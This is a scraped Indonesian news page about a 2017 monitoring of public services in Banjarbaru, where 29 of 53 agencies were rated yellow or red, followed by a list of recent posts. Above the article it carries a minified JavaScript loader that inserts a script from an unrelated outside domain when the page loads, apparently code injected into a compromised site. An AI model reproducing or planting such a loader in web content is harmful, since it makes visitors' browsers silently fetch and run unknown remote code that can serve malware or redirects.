(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

29 Instansi di Banjarbaru Masuk Zona Kuning


BANJARBARU, Selama 17 hari, tepatnya pada 18 Juli – 3 Agustus 2017 lalu, Tim Monitoring dan Evaluasi Penyelenggara Pelayanan Publik Kota Bajarbaru menyambangi sebanyak 53 instansi, termasuk unit pelayanan publik di lingkup Pemerintah Kota (Pemko) Banjarbaru. Hasilnya, 29 instansi dinyatakan masuk zona kuning dan merah alias perlu peningkatan pelayanan!

Kedatangan tim monitoring untuk mengobservasi kinerja masing-masing instansi. Dan hasilnya, sesuai arahan Ombusman RI Perwakilan Kalsel, diekspose terbuka dalam rapat bersama pada Senin (25/9) di Aula Gawi Sabarataan, Balaikota. Hadir dalam ekspose tersebut, Wakil Walikota Banjarbaru H Darmawan Jaya Setiawan didamping Sekda H Said Abdullah.

Disampaikan Ir Siti Zakiah dari Tim Monitoring dan Evaluasi, 53 instansi yang didatangi dan diobeservasi yakni; 19 Satuan Kerja Perangkat Daerah (SKPD) termasuk di dalamnya Rumah Sakit Idaman, 5 kecamatan, 20 kelurahan, dan 9 puskesmas.

Hasilnya, dari 53 instansi, 24 di antaranya masuk zona hijau. 24 instansi yang masuk kategori hijau itu terdiri dari 5 SKPD, 3 kecamatan, 11 kelurahan, dan lima puskesmas masuk zona hijau, alias baik. Sisanya, atau 29 instansi masuk zona kuning dan merah, alias tak memuaskan bahkan cenderung buruk.

29 instansi yang masuk zona kuning dan merah lantas diobservasi lagi oleh Tim Monev Kota Banjarbaru pada 28 – 31 Agustus 2017. 29 institusi itu; 14 SKPD termasuk Rumah Sakit Idaman, 2 kecamatan, 9 kelurahan, dan 4 puskesmas.

Tentang ekspose hasil monitoring yang dilakukan oleh Bagian Organisasi Setda Kota Banjarbaru, Siti Zakiah mengatakan, bertujuan untuk mendorong pemenuhan terhadap standar pelayanan publik. Sekaligus untuk mengetahui tingkat kepatuhan SKPD dan unit pelayanan publik di Kota Banjarbaru.

Sementara itu, Norhalis Majid dari Ombusman RI Perwakilan Kalsel menyampaikan, sarana transportasi publik di Banjarbaru salah satu yang masih perlu ditingkatkan. Kedepan, perlu dicari cara memperlakukan semua orang dengan santun dan ramah.

Senada, Wakli Walikota Banjarbaru H Darmawan Jaya Setiawan menyampaikan, pelayanan publik yang baik dan berkualitas menjadi hak masyarakat, sekaligus kewajiban konstitusional pemerintah. “Oleh karena itu, wajib hukumnya bagi pemerintah menyelenggarakan pelayanan publik yang sebaik-baiknya kepada masyarakat,” kata Jaya. ***


Desy Arfianty

Recent Posts

Rumah Kosong di Pekapuran Raya Banjarmasin Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More

1 jam ago

Pemkab HSU Raih Opini WTP, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More

3 jam ago

Ngobrol Santai Pj Bupati Kapuas Erlin Hardi di Kelurahan Selat Dalam

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More

3 jam ago

Targetkan 5 Besar, Bupati Banjar Lepas Kontingen Popda Banjar Menuju HSS

KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More

4 jam ago

Kasus Cuci Uang Narkoba, Ayah Fredy Pratama Tak Ajukan Banding

KANALKALIMANTAN.COM, BANJARMASIN - Lian Silas, terdakwa kasus Tindak Pidana Pencucian Uang (TPPU) narkotika jaringan Fredy… Read More

4 jam ago

Kucing-kucingan Anak Kecil vs Satpol PP di Lampu Lalulintas Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Kali kesekian, anak kecil Penyandang Masalah Kesejahteraan Sosial (PMKS) di kawasan lampu… Read More

6 jam ago

This website uses cookies.